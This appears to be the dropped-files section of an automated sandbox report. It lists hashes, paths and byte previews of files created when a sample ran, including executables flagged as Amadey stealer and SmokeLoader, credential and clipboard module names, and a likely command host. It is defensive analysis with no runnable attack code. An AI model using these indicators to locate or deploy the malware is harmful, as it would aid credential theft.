Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\78B.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\828.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9FE.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CCD.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EB3.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F324.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	490496
Entropy (8bit):	5.965355900803049
Encrypted:	false
SSDEEP:	12288:/rrb2iDiSOv4VBHMQhPymqTCYw4oUGbjnm:/7DB/Dym1YANPnm
MD5:	D9A13BB5645FE754CDC2A10A638660F4
SHA1:	9922A24B92892F920430AE204954DC6E6E1758FF
SHA-256:	82A6847B83BF25CB582BB942735A32197BD9B7B490CE50F34C4976005F4F9BED
SHA-512:	D51F1E2E9CCD77FC5DA91BDD7DBE5E7EAFC812497E27F171F2B1F3475BC11953E580321793BF127D850FBA0F1B244617DAA517283B9379BFBB16CFA36F6773BD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 70%, Browse
Joe Sandbox View:	Filename: e7CLP6462y.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&...&...&...I...$.......'...I...-.....L.+...&........2\|.$...&...$....2m.'....2i.'...Rich&...........................PE..L...^{_d.................Z..........Rg.......p....@..........................................................................r.......................................................................................p..<............................text....X.......Z.................. ..`.textbss.....p...........................rdata..H....p.......^..............@..@.data...D............l..............@....rsrc................n..............@..@.reloc...............r..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F557.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446976
Entropy (8bit):	6.493556339745227
Encrypted:	false
SSDEEP:	12288:bRmHUjaD/yzl4gH8Mhb+L0mspumesPW1X8i5:naD/yzWgcxLirSsi5
MD5:	F1D836A36148E8D03BF2DF952E970FBD
SHA1:	8170E8A3633A479B9ABD91B31FD835CC2F34D690
SHA-256:	2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
SHA-512:	E073B93F5F082C9E57DB409B54207BE262791D4297E34111116ECFBA381BD0828E1FD5FE4988AF56AD75429E2CEB087D9A0DA9F07D9EC82C2E1B0231FD74D778
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\F557.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 82%, Browse
Joe Sandbox View:	Filename: e7CLP6462y.exe, Detection: malicious, Browse Filename: HJoRg2I07j.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...N.Oe...........................[........@....@.......................................@.................................lK...................................O.. ...8...........................X...@............@...............................text....(......................... ..`.rdata.......@......................@..@.data....F...`...4...L..............@....rsrc...............................@..@.reloc...O.......P..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F892.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F892.tmp-shm

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FE31.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5033xstw.oxw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5iocqtzl.u2d.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ahwbpeok.evj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cicnnd3j.3ul.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmjghdal.5aa.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvjgagjy.2eq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zicirmum.xtg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqtdbrfi.eu1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\F557.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446976
Entropy (8bit):	6.493556339745227
Encrypted:	false
SSDEEP:	12288:bRmHUjaD/yzl4gH8Mhb+L0mspumesPW1X8i5:naD/yzWgcxLirSsi5
MD5:	F1D836A36148E8D03BF2DF952E970FBD
SHA1:	8170E8A3633A479B9ABD91B31FD835CC2F34D690
SHA-256:	2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
SHA-512:	E073B93F5F082C9E57DB409B54207BE262791D4297E34111116ECFBA381BD0828E1FD5FE4988AF56AD75429E2CEB087D9A0DA9F07D9EC82C2E1B0231FD74D778
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 82%, Browse
Joe Sandbox View:	Filename: e7CLP6462y.exe, Detection: malicious, Browse Filename: HJoRg2I07j.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...N.Oe...........................[........@....@.......................................@.................................lK...................................O.. ...8...........................X...@............@...............................text....(......................... ..`.rdata.......@......................@..@.data....F...`...4...L..............@....rsrc...............................@..@.reloc...O.......P..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\D4C0.vmt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	7.852316070293753
Encrypted:	false
SSDEEP:	768:QVKaUWVgbStx+y4+LK2rTMk6vAZ2HtIWVpw5/:QEaP6QxNxTMSYted
MD5:	B45B01A98A16E750EFE0C5BCE4613896
SHA1:	CEC51D154000397F0E54C5E79DDF47E10C32E205
SHA-256:	09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C
SHA-512:	FC5F3486CD099AFAFD86450A55405E3A2F4A28EE0E5653C0F3684AA097F6524A09A11BBE94AA7027E0022C4D4A4A1F0389BCD23D1C4381406518D5B6888FD5A1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 69%, Browse
Joe Sandbox View:	Filename: e7CLP6462y.exe, Detection: malicious, Browse
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......d...............H.x...........3............@..................................9...............................................................................................................................................................text....v.......x.................. ...................................................................................................4h.I....3..'P...FE..cZ.%.v.}..)^..'`$....`....W...P!F.A.d.Qa.,...{3...x(1.m.[.....e..z6..(@ZW.c...6;`.@..yy..QZ.{.,...?..%xMH.HY..(..).}....L9....L.(....q.-0....MP....e....2.0.!.S..G$/8.;..QA.9_.s9.........hv....;.....{}.j...v.........G.;..R..b.f.-.Rad`....;1.'...y{......V:..UI.....+x..n......r1i..2..^.6'aQ.......38..(\.:..s.=PX... .^...#..txV.....j..jp...N.{Z....$ &....R..L......h.Zt..pC9..OUJ\..\..Y9.v=....@......e.D......a..&....B.......!..K.4.Jq....9...

C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	275
Entropy (8bit):	5.189283772624827
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoIR+knVVXQxBFEcXaoD:J0+oxBeRmR9etdzRxGezH0qfQ2ma+
MD5:	0C20551AF7BE6790881626D2B6C66A44
SHA1:	9CF663036B0201D34CD99D8B34C409AE55F5F6F7
SHA-256:	207F7109AF8E236122B0DE1913CE2D01DBAE2C48A5045FABCCFD9D270E5CB92F
SHA-512:	AB34614123C4C7339F7227977876661523CFF8338AF2C34591BDA60ABED3D0AB436F53DCE6ED706395A5FADC04093A131407E7F7A38AAF2C16ED255905DF97B7
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address>.</body></html>.

C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	275
Entropy (8bit):	5.189283772624827
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoIR+knVVXQxBFEcXaoD:J0+oxBeRmR9etdzRxGezH0qfQ2ma+
MD5:	0C20551AF7BE6790881626D2B6C66A44
SHA1:	9CF663036B0201D34CD99D8B34C409AE55F5F6F7
SHA-256:	207F7109AF8E236122B0DE1913CE2D01DBAE2C48A5045FABCCFD9D270E5CB92F
SHA-512:	AB34614123C4C7339F7227977876661523CFF8338AF2C34591BDA60ABED3D0AB436F53DCE6ED706395A5FADC04093A131407E7F7A38AAF2C16ED255905DF97B7
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address>.</body></html>.

C:\Users\user\AppData\Roaming\gfiecjd

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	7.852316070293753
Encrypted:	false
SSDEEP:	768:QVKaUWVgbStx+y4+LK2rTMk6vAZ2HtIWVpw5/:QEaP6QxNxTMSYted
MD5:	B45B01A98A16E750EFE0C5BCE4613896
SHA1:	CEC51D154000397F0E54C5E79DDF47E10C32E205
SHA-256:	09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C
SHA-512:	FC5F3486CD099AFAFD86450A55405E3A2F4A28EE0E5653C0F3684AA097F6524A09A11BBE94AA7027E0022C4D4A4A1F0389BCD23D1C4381406518D5B6888FD5A1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\gfiecjd, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......d...............H.x...........3............@..................................9...............................................................................................................................................................text....v.......x.................. ...................................................................................................4h.I....3..'P...FE..cZ.%.v.}..)^..'`$....`....W...P!F.A.d.Qa.,...{3...x(1.m.[.....e..z6..(@ZW.c...6;`.@..yy..QZ.{.,...?..%xMH.HY..(..).}....L9....L.(....q.-0....MP....e....2.0.!.S..G$/8.;..QA.9_.s9.........hv....;.....{}.j...v.........G.;..R..b.f.-.Rad`....;1.'...y{......V:..UI.....+x..n......r1i..2..^.6'aQ.......38..(\.:..s.=PX... .^...#..txV.....j..jp...N.{Z....$ &....R..L......h.Zt..pC9..OUJ\..\..Y9.v=....@......e.D......a..&....B.......!..K.4.Jq....9...

C:\Users\user\AppData\Roaming\gjguwvr

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	400074
Entropy (8bit):	7.999532980540098
Encrypted:	true
SSDEEP:	12288:W5ibNQGnhnS/43xXb3KxXOPuOU5VVLg4nMvS:WoRQGnhS/4RbuXgK04nJ
MD5:	0EC89F15150F7183F5C4BE73041AB99A
SHA1:	1D21EF7FFBFA26DCAD29A9FCDE0CD63C727C2DD3
SHA-256:	07A2B682DA2576E209EEAF02BE9FE93F1B8F7CD129346AB46DC821A9807AE644
SHA-512:	CE4E0D98234E4BC711EC79F9EEBC08E318B6A277A596D6C2F2E38CD5AA3084D0D9958332CFEC270FB61FCA686E0757CC5002326C527FC94956BBC69269EE5EC6
Malicious:	false
Preview:	7..HQ.a...7w.A.......V...=..F.#.D..Oa.{.C.r(....6..[L.%..i..q.Z..`.S...;Y.4\|.N...".`-.#es....#toqmk.[}....1kL...........o).d...F..{.Hb.y.e.WU.......8.=.......b).j...8+}3...)].1Dh..m@...z..E.J\B...Q...13.]\...N.f........i.'.T.....G:..o......:.j.=TV..iP.+b.}.c..)...z.tuDp.H..C..>(..H.d.I.YU.4W.o:..VR.5?:.eN..D.........K.fR.x..\|..4_%_.t.M.C.,.9i.)....+...!.>...1#....S...L.mF.2.)Q4.:...S.lH....S]z..S.n.aJ.x....L.6..>.Z.:3.......\rV... .X.Y.&3VHc.4;ek.q...==..OmG.M..+..>#=.9...`.7.......5fF\|....<.(m%t.,.......h.S.^\.+.w.._3.@.>ep.8..Rt..S..BqI..Q+-.Ut..x.q.D8.("..J.......vO..n....$.1.f..Jv?.\|."...Ti.z..5`i-t.~..m....Z.....p.)..U...8K%........>...8..}].BH...(..R...S5..H...U.OJ5.+.T.L2\|..Lx...`...P].e......=.6!I.....x.,...J!tvY`:\x....h>.t.(.J.a+.q.L.!.....u..."...GeA.D..R...5P..v...G.B$A..e.(..f.n..B.....yCg~.1@p....?1>.8%.%}fm.....i.f.......{......2o..K..[....A...u..5...........x.V......u.e.......(.....L.)0...f6a......z..:^.0.).@..%.'..u9.

C:\Users\user\UndLdl.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text, with very long lines (48166), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	558268
Entropy (8bit):	6.010918914001554
Encrypted:	false
SSDEEP:	12288:pXL/2B/pCj7B4yHitIswk1Z4+zES361vtspCHXVX+NaD4ZELB9R3:pXL/2TC/BdHPswStESqBHFONe5X3
MD5:	1AB2D7CC96AD2B86EDF74D5497B45DEF
SHA1:	BAAC72428AAFF76788B6E0056B720C6920D0E6F8
SHA-256:	1E23A11308681733CFF73F23933670C4350CEC867042BBE5F7FF54A6DCC1DD83
